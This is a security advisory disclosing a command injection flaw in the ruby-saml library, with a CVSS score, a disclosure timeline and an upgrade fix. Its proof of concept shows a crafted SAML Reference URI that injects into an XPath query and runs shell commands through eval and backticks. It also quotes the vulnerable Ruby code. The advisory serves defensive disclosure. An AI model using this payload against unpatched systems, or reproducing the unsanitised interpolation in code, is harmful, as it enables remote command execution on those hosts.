Advisory:

Publicly exploitable command injection in ruby-saml library can lead to arbitrary command execution

Vulnerability

Last revised:

The URI value of a SAML response does not get sanitised through a prepared statement and allows ruby code to be evaluated at run time allowing the execution of shell commands on the host machine.

This issue was discovered by Glyn Wintle of Firewolf during a penetration test carried out for dxw.

Current state: Fixed

CVSS Summary

CVSS base scores for this vulnerability
Score 10 High
Vector Network
Complexity Low
Authentication None
Confidentiality Complete
Integrity Complete
Availability Complete
You can read more about CVSS base scores on Wikipedia or in the CVSS specification.

Proof of concept

When the following SAML response is constructed:

<saml:Response xmlns:s="urn:oasis:names:tc:SAML:2.0:protocol">
  <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:SignedInfo>
      <ds:Reference URI="#x'] or eval('`commands`') or /[@ID='v"/
    </ds:SignedInfo>
  </ds:Signature>
</saml:Response>

It is evaluated by the following code in xml_security.rb

def extract_signed_element_id
  reference_element = REXML::XPath.first(self, "//ds:Signature/ds:SignedInfo/ds:Reference", {"ds"=>DSIG})
  self.signed_element_id = reference_element.attribute("URI").value[1..-1] unless reference_element.nil?
end

This value is then appended into a XPath request in response.rb

REXML::XPath.first(document,
 "/p:Response/a:Assertion[@ID='#{document.signed_element_id}']#{subelt}", 
 { "p" => PROTOCOL, "a" => ASSERTION })

We exploit this XPath injection to execute an XPath that contains

eval('`commands`')

This exploits a vulnerability in Ruby’s implementation of XPath, that it turns parameters passed into XPath functions back into a new string, if these stings contain matching backticks they are executed as shell commands.

Advisory timeline

  • 2015-01-07: Discovered
  • 2015-01-21: Reported to Vendor by email
  • 2015-01-21: Requested CVE
  • 2015-01-21: Vendor responded
  • 2015-01-23: Vendor reported issue fixed
  • 2015-02-03: Advisory published

Mitigation/further actions

Upgrade to version 0.8.2 or later.